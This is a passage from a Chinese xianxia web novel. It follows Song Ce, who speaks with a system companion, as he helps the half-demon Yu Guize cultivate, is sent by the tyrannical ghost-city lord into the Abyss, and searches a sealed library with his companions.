喻归泽见连尽即使吃痛也不愿放开玉簪,他拧眉擒住连尽的左手侧身压过后背,戒尺比作利刃抵住他的脖颈,连尽每一寸呼吸喻归泽都往里压紧一寸。
速度之快连尽还来不及掐诀施咒,就被喻归泽掐着脖子压在圆桌上。
连尽恼火自己大意轻敌,只能慌不择路震开喻归泽。
喻归泽腰间玉佩顿然闪出一抹白光,替他化解部分攻击。
连尽看清喻归泽腰间的玉佩,只觉得越发气恼,他一掌拍开腰后的圆桌:“宋策真是什么都给你!”
原本不曾想动用灵力的连尽,现在只觉得自己受到奇耻大辱,竟然被一个低贱的妖奴欺辱,胸膛翻涌的焦灼怒意让他想让眼前人吃点苦头。
“宿主、宿主,里头怎么还打起来了,呜呜呜怎么办?”
“喻归泽。”
宋策进门就看到喻归泽按着左肩站在角落中,屋子里一片狼藉,诚惶诚恐的小侍从战战兢兢地跪在一边。
连尽诧异宋策现在竟然不在大堂,他慌张地看看自己手又看着低着头闷声不语的喻归泽,顿时紧锁眉头目光冒火只觉得自己被戏耍:“你装什么?刚才不还嚣张的很吗!”
喻归泽知道宋策在房中,他背过身扶着墙面,有些慌张地按住丹田处,察觉到体内一股热意涌现,较之于刚进入这座府邸时更加强烈,他压低急促的呼吸声,心中默念经文,却不得要领。
方才听见门外的脚步声,知道是宋策来接自己,他慌乱中被连尽的一抹灵力击中,丹田处刹时气流涌动,现在只能暗自懊恼不该轻易与人起冲突。
尚未入道怎能与修道者动手?
宋策径直走到喻归泽背后扳过喻归泽的身体,入眼的是惨白如纸的脸和毫无血色的唇瓣。
喻归泽脑中混沌见到宋策后再也撑不住地靠在他身上。
他紧紧拽着宋策的衣袖,眨动眼睑保持清醒。
“宋、宋哥,我体内真气流动,身体发热。”
宋策按住喻归泽的脖颈,轻车熟路地输送灵力,却被喻归泽制止住动作。
“不、不是发病”,他稍显停顿似是在想如何解释又或是在平稳呼吸,“带我去宅子北边,那里灵气充沛。”
宋策眸色暗沉,随即点住喻归泽身上几处大穴,扶着喻归泽向外走。
“等等。”走过连尽身侧时喻归泽停住。
“玉簪。”
连尽被宋策盯得哑口无言,他目中还泛着对喻归泽的怒火,但也不敢在宋策面前造次,最后看着两人离去的背影,连尽又惊又疑,自己方才并未真的出手伤害他,怎会反应这么大。
他暗自咬牙,还不知道宋策要怎么找他算账,待自己冷静下来后连尽又懊恼自己今天真是被一个小妖给气糊涂了。
……
“宋道友,怎么样了?”
苍月见宋策迟迟不归,有些不放心地追出来。
“城主不知这么的,迟迟不出现,我出来看看。”
她见宋策扶着面色苍白的喻归泽,于是镇定心神为喻归泽输送灵力,惊呼道:“这位公子似乎……”
她突然想起什么止住话语:“府上北侧有一处灵泉,虽设有封印但泉外蕴含的灵气已足够这位公子修炼。”
宋策干脆打横抱起浑身灼热的喻归泽,身上人燥热的气息喷洒在胸前,他蹙眉:“别睡,凝神。”
始终禁声的系统这时算是看明白了:“宿主、宿主,你坚持的住吗?”
他虽然不是很懂,但是修炼入道什么的应该都不太容易,宿主刚才突然发病现在帮助喻归泽炼气真的没问题吗?
“别出声。”
“好好好。”
苍月不放心地跟在两人身后,却讶异见到宋策抱着喻归泽毫无阻碍地径直进入封印中的一幕,她暗道:“或许宋道友早已解开法阵玄机。”
她抬头望天,雾色重重,轩日眩光透出层层云雾洒下惨白的光辉。
她转身看向法阵中,撩袍打坐为二人护法。
“平稳呼吸,感受丹田处涌动的真气。”
宋策解开他身上的穴位:“别急。”
喻归泽泡在灵泉中,觉得自己的灵台是前所未有的清明,经文自然而然出现在识海中,蓦然觉得胸有成竹。
能进入这方小天地之中宋策心中
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也有些诧异,他不住在城中,却也知道城主府上有前城主留下的一眼灵泉。
方才他如果没看错喻归泽的戒指闪出一抹微光,法阵自觉将他们纳入其中。
宋策静下心神,为喻归泽输送灵力,只觉得灵泉周围灵气安稳顺和地流转在喻归泽身侧,乖顺地似乎在等待喻归泽的丹田可以容纳它们。
天光不知几何,光影就在刹那间移转,宋策在喻归泽身边能察觉到他身上渐渐平息的燥热。
见此情形宋策终于放下心,调息自己体内转换的灵力,丹田的疼痛不知在何时消匿,这时他按着喻归泽下腹部往外推。
“别在我身上喘气”,他眼眸微凝,“起来。”
喻归泽埋头在宋策脖颈处,手紧握宋策腰侧:“累,尾巴又疼了。”
宋策漠然推开喻归泽后,上岸,灵力扫过湿透的锦袍,他背过身打量灵泉四周。
“撒谎。”练气入道后身体与凡人不同,疲累感会减弱,喻归泽虽未筑基,但离跨界筑基只有一步之遥。
被修炼后的灵泉灵气虽有所损耗,但这灵泉下部仿佛有补充灵气的源头一般,渐渐将灵气浓度维持在一个平衡,宋策猜测也许这下方存在地脉供养灵气。
“将你安顿在苍月住处,等我回来后再助你筑基”,宋策弯腰从水中捞起喻归泽,“记住,我不在的时日不可懈怠,勤加修炼为往后修道稳固根本。”
“你、要去哪儿吗?”喻归泽拽着宋策的手费力地将尾巴攀上岸边,曳地长衫沾水后异常沉重,他腰部酸痛只能艰难绷起上身肌肉向上撑起。
“笨手笨脚。”
宋策无奈只能揽着喻归泽腰身托起他尾巴将他带出水面。
“有事需要离城几日。”
“我不能和你一起吗?”喻归泽看向宋策的眼眸溢满失落情绪。
“你觉得呢?”
“好……”他捏捏衣袖,抬眼又望去,“你何时回来?”
“少则半月多则一月。”他略施法术蒸干喻归泽湿透的衣袍和头发。
“好……”
宋策牵起喻归泽的手,将他带到封印出口,他略微用力拉着喻归泽向前走,果然在戒指发出微不可查的微光时阵门开启。
苍月焦急地徘徊在外,夜风吹拂着她的红裙,她心中却只觉得焦灼,终于等到阵眼微闪,见到宋策和喻归泽出来后她急忙走上前。
宋策抬头看弦月朦胧在雾色之中,就听见苍月的焦急的话语:“宋道友,你们终于出来了,城主这三日虽未出现,但我担心有人向城主多嘴。”
苍月担心城主怪罪宋策善用府上灵泉,这灵泉就连城主都不能突破禁制进入其中修炼,不知道城主知道后会有何动作。
“三日?”宋策凝眉看向苍月。
“三日。”苍月这才看清宋策背后的喻归泽,察觉到喻归泽周身萦绕的气息,她诧异万分,“才三日?”
她移步到喻归泽身边:“公子竟然仅在三日之内距离筑基一步之遥!”
虽然筑基是修道第一步,但神州大陆修道之人如过江之鲫,如喻归泽这般修炼神速的她闻所未闻,多的是人一辈子在练气阶段。
要知道当年如仙门段氏长子那般的修炼奇才也在练气阶段留有一月,也许喻归泽被宋策压制住修为才未有突破。
“宿主、没关系的,你以后出了鬼城碰到大机缘也会有所突破的。”系统浅浅听到了苍月的惊叹,他觉得宿主始终对自己的资质耿耿于怀,才出声安慰。
宋策蓦然气短闭眼:“你能不能闭嘴。”
21. 第二十章
“你们这群废物!”
“让你们炼个丹炼不出来!”
“城主大人饶命,饶命啊……呃呵……呜呃!”
“饶命?废物不配活着。”
“嘭!”
朱半规吓得腿都软了,他掐着自己的大腿扶着段厄才勉强站得稳
“宋策什么时候来啊?他干什么去了?”
“别随便传音!”段厄暗中掐了一把窝囊的朱半规。
他挵起眉心中也疑惑诧异,宋策三日前无故离去竟然还未出现。
“宋策呢?宋策去哪了?”
浑浊粗狂的声线将“宋策”二字念的指示性分外强,众人大气不敢出。
他们瞥向直挺挺躺在地上僵硬的犹如一根冰雕的尸体,暗自祈祷下一个被黑风鬼迁怒吸走精气灵力的人不是自己。
“大人,苍月大人正领着宋大人往前堂来。”
“宋策,他可越发嚣张不将我放在眼里!”
“大人,宋策三日前在会堂上面色苍白额发细汗气息不稳,兴许是身体抱恙多有不便。”
听此言黑风鬼眉目闪过几分恍然和缓,他眯起混浊的眼扫向一直低着头的玉婪,乌红的嘴唇勾起一抹笑意:“你倒是会说话。”
“小人不敢。”
黑风鬼晲眼看向玉婪冷哼几声,随后几个人躬身进来搬走了那具僵硬的尸体。
宋策撩袍跨过门槛与抬尸人擦肩而过,苍月眸色未变,轻瞥那具被抬走的尸体,她昨夜守在灵泉边,见过这人。
“城主大人。”
空气中还弥散着黑风鬼污浊腐濁的气息,众人噤若寒蝉,惶恐不安心有余悸。
站在堂内的人察觉到身后的气息,皆目不移视让开一条道,有人暗中宽慰,有人独然窃喜。
“恭贺城主大人出关。”宋策照礼节躬身举手道贺。
苍月站在宋策身后默然揖礼称贺。
“我们苍月大人日理万机,今日竟然来的这般迟。”
黑风鬼呵呵笑着随意落座眯眼看向苍月,他身旁的侍从端着茶托战战兢兢地靠近,黑风鬼端起杯盏若无其事一般喝着茶。
朱半规首不动身未行,斜视窥探苍月的反应,只见苍月俯身并未能言额间细汗微起,眉间轻挑,似乎在强忍着心悸不适之感。
“三日前与我随行之人身体不适,小人斗胆带他借用城主府上一眼灵泉修炼,苍月道友一直在侧护法陪看。”
苍月捏紧掌心,眸色愈深。
“是吗?”
“啪”的一声,黑风鬼搁至杯子,翠色茶水从杯沿溅出,在桌面落下零星几点。
“日前,我身侧灵兽上吐下泻,四肢痉挛……”
“我欲向宋道友讨要治愈灵兽的丹药,不曾想他在灵泉中修炼,求方心切,故时刻守在泉水边。”
“宿主,她不会撒谎啊!编的谎话太拙劣了,你这责任往自己身上揽的办法行不通!”
系统吐槽苍月撒谎都不会,他觉得自己比苍月行。
但听到苍月的话,黑风鬼并未揪住那不合理的地方不放:“是府邸北侧的灵泉?”
他将视线移向一直行礼未起身之人。
“确是府上北侧那处封印中的灵泉。”没有黑风的示意,宋策一直维持着俯身姿态。
“泉水之下含有鬼城地脉,泉水蕴含地脉中源源不断的灵气,三日前我随同身边人借用城主府上灵泉修炼,望城主莫怪。”
黑风鬼手掌抚上桌面茶具,摩擦之声“咯吱咯吱”,底下低头躬身伏地之人雅雀无声。
他起身走下上座,猩红泛乌的唇角犹如食人精血般渗人,他连忙扶起宋策的胳膊,“哈哈哈”笑起来拍着宋策肩膀:“我怎么会怪你呢,不过是一处遗留的灵泉。”
“怎么不见你带的人?”他背过身声音缓和煞有其事般嘱咐道,“我可听闻你的这位身边人三日即可入道,若是再过几日筑基修炼不在话下,借用灵泉一事不必忧心。”
他转身俯视宋策,浑浊的眼瞳微微转动扫过宋策缺失的左眼。
宋策垂眸右眼珠在眼皮之下颤动:“他在侧堂,城主若想见他,我让人引他来。”
“哈哈哈哈……”他仰头大笑,含浊混腐的气息喷薄而出,他目中掩起凶光,语气上详装善解人意,“不必不必,今日叫大家来是为了极渊事宜。”
“宋策,你看。”说着黑风鬼挥手指向半空中,只见在他浑浊气息散去后出现清晰的画面。
众人望去,目光惊疑:“这是……”
宋策面色平静,黑风鬼幻化出来的画面正是极渊场景,画面中极渊狂风作乱,树木倾倒割裂,寥无人烟。
灵气旋流之间朦胧可以看见一道天堑,深渊空洞深不见底,肆虐的的灵气从悬崖伸出迎刃而上,将周围树木悬崖割裂摧毁,掀起砂石断木漫天。
众人只消看一眼便不再抬头,皆目露惧色。
“你们中间还有原城主的随侍吗?”他走在禁声僵硬站立的修士身侧,笑意犹如附身蛊毒爬上他的嘴角,“啊?我倒是忘了,那个蠢货的狗腿子似乎都随着他殉了。”
他掀起唇,露出的笑似乎要把身边人吞吃入腹般,朱半规站在一边大气不敢出,一张脸涨的通红,眼眶憋出血色。
“好笑,我看是他把前城主的身边人都杀了灭口差不多!”系统咬牙切齿最看不得这个黑什么鬼耀武扬威恐吓自家宿主。
黑风鬼淡淡地瞥一眼朱半规将视线移向宋策:“你们都看到了极渊深处喧肆,鬼城前城主当年就是魂祭极渊,鬼城四周最属这方天地灵气最为浓郁。”
“传闻三界魂灵皆愿求的这点灵气,极渊困顿,魂灵受得极渊滋养,以魂炼丹颇有奇效。”
他缓步走向上座,声线浑厚,目光无所斜视盯着宋策。
围在周遭的人暗自庆幸,果然这种荒诞的差事又是交给宋策,有人暗中窃喜。
若是寻常,宋策对城中事宜挑挑拣拣,不愿意多出一份力,今日这般要紧关头,最终不还是没办法推脱城主亲自交托的差事。
这次城主是要定了宋策的命。
“城主,这以魂养丹的办法只是外界传闻,并未得人证实”,苍月听出黑风鬼的意
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思咬着牙上前一步,“况且极渊凶险异常,宋道友层级在众位道友中并不算出众。”
她低着头想在说句什么让黑风鬼断了这不切实际的想法,却被一人打断。
“这么说苍月大人是愿意替宋大人去往极渊?”他施施然撩袍从人影中走出,凤眼轻扫,那张白净的面皮清俊的惹人注目,他走上前瞥向始终沉默不语的宋策,眼中意味不明。
“城主大人,我愿意追随宋大人前往极渊收集魂灵。”他抚摸腰封躬身为礼。
“正有此意。”黑风鬼满意地点点头。
宋策侧目嘴角微勾:“请城主准许我进入藏书室一观,藏书室虽封印已久,但小人自有办法破阵。”
“哦?”黑风鬼撩眼皮定睛看向宋策。
“这一月城外闭关小人潜心研究法阵,为此行入极渊做足准备,前城主殉道极渊定然留存极渊多数卷文。”
“府上藏书室与灵泉封印一脉相传,小人有办法解除。”
苍月表情略显讶然,看向宋策的目光如众人一般惊愕,黑风鬼鸠占鹊巢已久,虽统领鬼城,但从未破得城中遗留的封印,囚禁众多法阵修士,却也从未获得遗留卷文一张。
“好好好”,黑风鬼顿时惊喜万分,他移步快速从高台走下,表情殷切地扶起宋策,“若宋大人能解开封印,我就留大人在藏书室待上三日。”
宋策敛眉轻笑:“我自知修为层级不高,此去极渊困难重重,即使空有楚道友陪同恐怕也再难回到城中。”
黑风鬼拧眉挥手不以为意:“这有何难,你多叫几个人陪你,要什么人宋老弟说便是!”
竖着耳朵仔细听的众位修士听到此处,心中紧铃大响,果然惊疑抬头的朱半规就看到转身的宋策视线扫过这边,他慌张地低下头。
他心中默念:“宋策宋策,别搞别搞别搞……看在我们三年情分上你别害我……”
下一瞬黑风鬼的声音从自己上头传来:“朱半规金丹中期修为,堪可一用。”
“不知朱大人愿意与我同去吗?”
朱半规哭丧着脸腿不自知地抖起来,他顶着黑风鬼的施压颤颤巍巍地上前一步,唇色惨白:“愿、愿意的,愿为城主效劳。”
说完他的身子仿佛魂魄被抽走了一般倾倒,朱半规只能颤着手扶着段厄站稳。
宋策露出寻常不会展露的作弄笑意,朱半规只能暗中气恼。
苍月锁紧手掌,上前一步,下一时看向前方宋策的背影目露坚毅:“城主,我愿和宋道友进入极渊探寻灵宝。”
宋策身形稍顿,少顷抚平眉间痕迹,回身道谢:“多谢道友。”
“能否让与我同行极渊的人皆入藏书室中查阅,三日时刻小人恐不能查清极渊事宜。”宋策稍作思忖面向黑风鬼。
“无碍。”黑风鬼心中喜悦,不欲和宋策计较这般得失。
他眯着眼心怀大悦,倘若宋策命大能将极渊被滋养的魂灵带回来炼丹,对他也实属有利,若不能带回,藏书室中或许另有办法治疗身上郁结,他低眉挵聚丹田处灵氲,满眼算计,嘴角猩红泛起嗜血的笑容。
22. 第二十一章
“宋策,你真的……我……”
“朱大人这张嘴可是饿了?”楚生仰躺在一张破旧的小榻上,手中还拿着卷书,那张俊秀的脸上没什么表情。
“啊?”朱半规从地上坐起,显然没理解楚生话中意思,他有些不解地解释,“不甚饿,早已辟谷。”
“夯货,让你闭嘴啊!”段厄不客气地瞪了朱半规。
“说了半天废话,能不能消停消停。”
朱半规眼疾手快地接过面门飞来的一枚竹简,他埋着头不满,低声嘟囔:“嗐,我命怎么就这么苦呢?”
“好事轮不上我,坏事全让我摊上了!”
一只隐露青筋的手搭在木架上,苍月抬头看向那只残缺一根小指的手,她嘴角微抿,拿着卷轴的手也忍不住锁紧,少顷,目光闪动中只是莞尔一笑摇摇头再次垂眸看经卷。
“朱大人若是不愿冒险大可以同城主道明情况。”指尖缓缓擦过纸张的摩擦声从朱半规右上方传来,他只觉得脖颈一凉,还未等他说话,宋策再次出声。
“我会替朱大人说几句好话的”,宋策坐在书梯上,许是觉得手中书无用,只是随意丢下正好落到苍月脚边,“喻归泽留在鬼城我不放心。”
“喻归泽?你说那个妖……额那个小公子?”
朱半规听到宋策肯为自己求情,眼中倏忽闪过一瞬惊喜,但下一刻似是想起什么般蓦然低头咬着指尖思考,眼神一次次闪动变化,最后讪笑摆手:“还是算了,我不会照顾人啊。”
宋策缓步走下书梯,垂下的眼眸轻飘飘地扫过朱半规心虚的脸,一丝笑意从宋策嘴角转瞬即逝。
朱半规低头犬齿轻轻磨着指腹详装没看到宋策的表情。
苍月拿着书简轻敲手心,眸中几分思虑飘忽,她走至宋策身侧:“我记得宋道友身侧的那个……嗯,青面鬼?”
苍月看着宋策提醒道:“他是金丹修为,可以将喻公子留在他身边代为照看。”
宋策接过苍月递来的书简走到书梯旁,撩袍坐在台阶上,身体慵懒地靠在扶手上,手拿书简抵在额头胳膊搭在曲起的膝盖上。
宋策仿若有些疲惫,闭目半晌垂头不语。
苍月见宋策这般情形也不再多语,她抬头看看这偌大的藏书室,摇摇头脸上露出几许无奈神色。
“啊——三天三天!根本看不完啊——”朱半规崩溃地扔下手中被他翻乱的书册仰头躺在落灰的地板上,双目沮丧。
“封印中藏书多之又多,这极渊的书籍不知要找到何时”,段厄伸手摸摸手中佛尘,挥手扫开漂浮不定的光影粉尘走至宋策身边,“还有两日我们就要启程了。”
“城主又岂会等我们做好准备?”
段厄抬眼望去,宋策身后是数不清的藏书密文,杳杳深邃,段厄扶着木架的手微紧只觉得眼前昏黑。
“是啊,仅仅三日根本看不完这些藏书,又如何能查清极渊?”朱半规仍旧躺在地板上看着上方,声音了无生气。
“城主派人来协助我们查找关于极渊的书简,但关于压制化解极渊灵气的办法却没有找到”,苍月挥手指示进来的其他人去往另一侧查阅,几排书架之中仅仅留着几人面顾无言。
“苍月大人?你手上拿的是什么书?”朱半规转头恰好看见苍月手中的旧书页面露出的画面,表情有些疑虑也有些惊异。
“这个?”闻言苍月举起手中书看向朱半规,“这个是刚才在地上捡的,宋道友扔下来的。”
说着苍月毫无防备地翻开扉页查看,却突然面色微变似乎对自己看到的画面有些猝不及防,但转瞬她细眉微挑,红唇勾起,哑然而笑。
朱半规看见苍月的表情,他好奇地爬起来移到她身边同看。
不过一眼,朱半规露出揶揄调侃神色,眉飞色舞地看向宋策:“呦呦呦……”
“宋大人竟然带这种书在身上,啧啧啧……”朱半规瞬移到宋策身侧,想靠近却又留有余地,他斜靠在书架上,微倾身向宋策,一脸窃笑:“宋大人,若是对这种书有兴趣,不仿早同我说”,他斜瞥一眼苍月拿在手上的旧书,献媚一般,“这书不时兴了,我能搞到新的。”
苍月瞧见朱半规这犯嫌的作态,忍不住翻了个白眼,她挥挥手中书册示意:“朱道友,这书是宋道友从那边书架上翻到的。”
“你想的太狭隘了。”
段厄接过苍月的书翻看,映入眼帘的画面让他眉间一跳,眼中闪过微妙复杂的情绪,他合上书册放在身边的书架上。
朱半规哈哈讪笑掩饰自己的尴尬。
“这,这城主还挺有品位哈?”他挥动扇面,扇起的微风掀起周围的灰尘缥缈飞舞。
“他这画面线条和颜色都还挺协调的,看着不粗制滥造,挺好挺好哈哈哈……”
楚生嫌弃地扫了眼朱半规,似乎在嫌他吵闹,他从小塌上飘然起身,拿起段厄塞进书架夹层中的书,目露探究神色:“风月书册?”
他绕过段厄走向宋策,敲敲书页向他示意,目光玩味:“我曾听闻这城主姓段,我当年在外界时段姓可是大姓。”
宋策这才将视线移向交谈的几人,放下手中的书看向楚生示意他继续:“你想说什么?”
楚生垂眸微笑:“鬼城之外的人界,仙门世家盘根错节,各大姓氏的家族势力深不可测,其中段姓大族更是高门巨户,多少修士递交拜帖都没机会。”
“仙门中人无不视段家人如座上宾,趋附逢迎不得,当真是如日中天。”
他抬眼看看天花板,耸耸肩:“或许如今在外界段家依然是名门望族。”
他靠在书梯边离得宋策很近,宋策抬眼便能看清楚生眸中闪过的颜色。
宋策揉揉左眼,顺着眼皮上的疤痕轻抹,目色意味不明。
楚生没看宋策,他突然自顾自戏笑一声:“就像话本子中编的故事那样,段家嫡长子是个天才,家主将他送进仙门修道历练,灵石灵丹灵宝数不清道不尽的资源往他身上砸,同龄人哪能和段少主比,旁人望其项背,不及万一”,他眸中轻闪,嘴角露出的恶意一闪而过,“当真是天之骄子。”
“可惜”,他摸摸自己的鼻尖讲故事一般,嘴皮一碰,了无生趣道:“堕魔了。”
宋策指尖轻轻敲击书梯扶手,发出“哒哒”声。
“你这意思不会是怀疑这个前城主就是这个什么段少主吧?”朱半规听了楚生的故事觉得有些不可思议和荒诞。
“哪有人放弃家大业大的氏族跑到这种犄角旮旯来当什么劳什子城主?”他试图看清楚生的眼睛,确认这个故事的真实性。
“咳咳”,苍月打断他们对话,她翻开自己查看的手书,犹豫道,“这个城主似乎、好像、应该是姓段。”
“这些手书似乎是他亲笔所写,所有册子尾页皆有一个红色章印”,她微蹙秀眉,思索犹疑,“他没用寻常字篆刻,这种字型很古老,我也认不得多少。”
宋策随意翻看了一眼那些遗落在身边的旧书,装作不经意间询问:“很古老?苍月道友怎的认的?”
宋策看向苍月的眼眸染上柔和的笑意,苍月愣住一瞬恍惚恰似回忆什么随即却蓦然回神笑着回答:“旧时师父识的这字,我跟在他身边自然也看过一些。”
朱半规咳嗽两声,他对什么字不感兴趣只是站在楚生面前问:“这藏书阁中未有一张画像,你如何断定?”
“而且,照你说的那样,他这样的人物应该很难见一面吧?”朱半规上下打量楚生,“你见过?”
楚生不屑理会朱半规轻视的目光。
“曾有幸在仙门宴会上遥遥看过一眼。”他瞥过朱半规堆砌在身的华衣锦饰露出轻视和嫌弃表情,“怎么?不可以?”
“嘁。”被语刺到的朱半规不满地拿书敲敲木架转走一边,不欲和这人争辩。
“这些并不重要,还有两日,查到的有关极渊的信息记下来,查不到的……”宋策终于起身离开书梯走下,“等去了极渊再说。”
宋策走向昏黑的层架中时经过段厄身侧。
“段大人。”
“有事儿?”段厄僵硬着那张干枯灰白的脸皮,试图露出几分不一样的表情,奈何那张枯涩的面皮只能扯出古怪的样子。
“两年前,段大人可是求我过什么?”
宋策站在木架的阴影里,法阵外似乎传来几声喧哗,段厄没听清宋策的话往前走了几步:“什么?”
沉疴已久的嗓子嘶哑难闻,他又问
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了几句后没有得到回答,只能追寻宋策身影走进耸立的书架阴影中。
烛火摇曳在书架一侧,消失在两人的视线中,光影昏暗交错。
封印结界与外界的交汇之处传来嗡鸣之声,初闻不觉刺耳久听只觉心中躁动难安,段厄心头犹如闷雷鼓动,耳边轰鸣作响,他烦闷地抚弄手中佛尘。
……
“宿主,当时你和黑风鬼谈条件的时候要的时日太少了。”
系统有些不平,如果宿主和黑风鬼说需要更多时间查阅关于极渊的资料也许所有人也不必这么着急。
仅仅三日太短了。
“他等不及。”宋策合上书扔向一边,眸中却不显疲惫,属于野兽的眼在黑暗中闪过一瞬的冷光。
系统被宋策冷漠的眼神惊悸,没注意宋策又说了一句什么。
他安慰自己,当时给宿主安排的身体是一具苍狼半妖身体,有狼妖的血统,宿主有时候露出这种幽冷锋利的眼神很正常,不用惊慌。
“那个,宿主?”系统小心翼翼地发出声,“你原来想把喻归泽安排在苍月身边的,但是……”
“滋啦——”沉默的气氛蔓延在系统和宋策身边。
宋策撕书的声音将系统吓到禁声,只能发出“滋滋”电流声。
宋策没有理睬系统的异常,指节上泛起银光的戒指闪烁几次,那些被撕下来的纸乍然消失。
封印中不知昼夜,周围细密地掀起窃窃私语,宋策揉揉跳动的眼角,左眼珠子突然裂开一般刺痛,他紧闭眼眸,果然下一秒丹田处涌起一片火热的灼烧感,炙热的痛感犹如火舌撩动蔓延全身,全身的感官让宋策感觉似乎下一瞬身体就要怦然起火。
他扶着桌面站起,指尖因为过分用力而泛白。
楚生察觉到身前阴影晃动,警觉地抬眼看向宋策方向,前方人消失在拐角木架处,他低头若有所思,清俊的面上掠过一丝异样。
“宿主,又疼了吗?”若是系统现在能大哭,他绝对要自责痛哭流涕,每次宿主发病他只能在旁边干着急,生怕别人发现宿主身体的异样。
“宿主,再这样下去被别人发现了怎么办?”他感觉宿主发作的症状一次比一次严重。
黑风鬼的情况只能比宋策更加严重,血奴契约的控制下宋策虽能借助黑风鬼的灵力保全自己,但却需要分散主导方的伤势。
“要发现早发现了,这些人各有目的心怀鬼胎”,宋策藏匿在几排书架死角,抬头只能从繁多书册缝隙中看到几丝光亮,他拧眉锁紧喉咙,放轻呼吸,气息断断续续,“一条绳上的蚂蚱,绳子断了、谁都活不了。”
身体剧烈的疼痛之后空余虚脱的无力,宋策背靠木架倏然滑落,呼吸虚弱歇力,浑身热意散去却冷汗淋漓。
宋策垂眸,不知是否因他的错觉,指根处的戒指似乎随着封印的轰鸣声闪烁着微光。
宋策抚摸着玉润透亮似有温热的戒指,想了想还是摘了下来穿戴在脖子上塞进衣襟里侧。
“宿主,你现在和喻归泽相处的好好哦,这个戒指我记得他刚开始碰都不让你碰哎。”
系统有些感叹:“他居然把这个借给你用。”
“等你们以后出去了,你帮他恢复了灵丹,他恢复记忆后说不定还把你当做好兄弟带你到天灵族灵山去呢。”
系统幻想着美好前景,心中美滋滋的:“灵山哎,上古神族后裔肯定有好多宝贝的,他随便给你什么都是好东西啊。”
宋策呼吸微顿,随即嘲讽一笑:“天真的东西。”
系统被宋策一句话噎住,识相地闭嘴不语,他也知道现在情况没那么乐观,但他也是往好的方面想嘛。
宋策摩挲着胸前那枚戒指,胸口传递着余温,耳边传来稀碎的轻语。
“段道友以前是剑修?”
烛火影影绰绰,人影晃动缭眼。
“现在也是。”沙哑的声音混着纸张翻页的磋磨声。
“啊?是吗?那下次有机会定要见识见识道友深藏不漏的剑法。”语意玩笑却不失谦和礼貌。
“那恐怕没那个机会了,他呀,剑早折了。”
烛光混合人影的舞动,封印仍然在闷鸣响动,发出轰隆声,冷寂空明。
23. 第二十二章
宋策困顿在朦胧的梦中,耳边时不时响起雷鸣声,腹部的疼痛让他在昏迷中仍旧紧皱着眉,梦里的他周身像是被围困在荆棘死水之中,却不觉得寒冷冻人,只是盲目追寻黑暗之中那点光亮,他淌着水波,身体愈发沉重燥热,呼吸艰难粗重,耳鸣不断。
“宋哥、宋哥……你怎么了?”
“宋哥?”
喻归泽颤抖着身体看向宋策冷淡的脸,那双只剩下一只的眼瞳深深凝视着自己,他左眼一道伤痕跨眼皮至颧骨,光暗明灭交错之间显得愈发狰狞。
喻归泽仰着头忍不住伸手抚摸那处伤痕。
“你——”喻归泽的手猛地被抓起,他心中惊颤抬头正对上宋策的视线。
莹绿色的眼闪动着野兽般的凶光,宋策猛然拉着喻归泽的手腕翻身掐住他的脖颈将他按到在地,背后堆叠的书被撞倒发出“砰”的巨响。
喻归泽侧头看向人影晃动的地方听到几排书架之外传来几声急促的脚步声,几息之后又消声。
他这才抬头看向上方的宋策,那只眼睛让他心悸:“宋哥,怎么了?”
宋策附身压紧左手力道,右手制止住他的手压在头顶:“你在做什么?”
宋策垂眸看向下方,喻归泽的衣袍之下是看不清的雾色遮掩,但宋策能感受到那条温热的尾巴缠绕在自己的腰部,许是其主人的紧张,宋策只觉得腰部束缚。
“我腰疼……”
“你先松开。”
喻归泽瑟缩着身体试图挣脱他的钳制。
宋策闭眼睁开,等目光恢复清明后松开喻归泽的手腕却没有起身。
喻归泽的尾巴还缠绕在自己身上没有松开的意思,他附身右手笼在喻归泽脖颈处轻压,指腹传来灼热感。
宋策撑着地面将喻归泽揽起,两人靠在木架旁,他挥手略施术法布下小型法阵将二人藏匿其中,叫外人看不清法阵之中情形。
“苍月,放你进来的?”他放缓语速试图缓解呼吸的急促。
腹部的灼烧感稍有减轻却仍觉得浑身脱力疲惫,他微微掀起眼睑斜眺眼尾正泛着红晕的喻归泽。
“我偷偷进来的。”喻归泽解开自己和宋策缠在一起的衣带,随手整整两人的衣衫。
宋策低头看他动作未停,随即拉住他的袖袍:“尾巴松开。”
喻归泽动作停顿眸色愈深,扣住宋策腰封的手微紧,几息之后缓缓将尾巴尖从宋策小腿上松开。
“我看不清你的尾巴,但能感受到。”宋策挑起他低着的下颌骨,盯着他不断闪躲的眼,似乎在确认眼前人的神智是否清明。
“我知道。”喻归泽在宋策看不见的地方瑟缩着尾巴将它收进长袍中。
“怎么找到我的?”宋策怀疑苍月几人已经察觉到喻归泽进入了封印。
闻言喻归泽嘴角情不自禁勾起,眼中泛起涟漪,他撑着地面靠近宋策,指尖抚弄宋策的前胸,隔着布料缓缓扣住那块凸起的圆环,脸上露出安心的神情:“我能感受到戒指的气息。”
对此宋策失笑,他扯下戒指递给喻归泽:“还你。”
喻归泽诧异:“宋哥不是说有用吗?”
“不用了。”
“宿主宿主,没有戒指你能直接破阵了?”
“解阵需要的信物、阵眼已经具备,况且这个法阵……”宋策思虑几分,抬头看向空荡的上空,“这法阵是个半成品,设阵者似乎……”他在想如何形容设阵者的意图,“看上去不太精通这部分的计算。”
宋策蹙眉沉思:“对于整个法阵的布局来看,细节部分处理的很粗糙。”
“法阵本源兴许与天灵族有关。”宋策侧头看向喻归泽。
“腰、疼?”宋策眯着眼视线落到对面人的腰际,眼前人的脸颊不知是因为灯火的笼罩还是身体的灼热显得比烛火还要红热几分。
“宿主,宿主……”系统看着宋策,他似乎又快昏睡过去了。
喻归泽倾身侧耳:“宋哥,你说什么?”
宋策在闭眼之前看着喻归泽的身影缓缓靠近,他嗅到一抹淡淡的香味,仿若雨后草木清香,分明好闻但他还是侧身躲开。
“别靠我……太近,我睡一会儿”,听上去略显疲惫的语调却是不容喻归泽辩驳的强硬。
看着宋策下意识的动作,喻归泽抿唇停身愣在原地,原就难耐的腰腹愈发酸痛,他颤动着尾巴尖挪动身体往后退了几寸。
“别乱跑。”宋策微抬手指尖轻点,一抹血色灵力从宋策手上的戒指连接到喻归泽指根戒指上。
喻归泽拉拢的肩膀瞬时挺立起来,他敛眉看着宋策给的戒指,方才如潮水般涌起的失落情绪这时已蓦然退去。
他眨着眼睫,好奇地牵动那根红色丝线,试图摘下戒指却怎么也摘不下来,最后只能倚靠在宋策身边翻找周围的书册解闷。
……
“这个城主似乎是个剑修。”苍月斜倚在案桌上,撑着头颅眼眸扫过卷轴,她眼瞳微颤,眼前倏然出现画面,神识被吸入一种难以名状的空间,瞬息之间领会其中奥义。
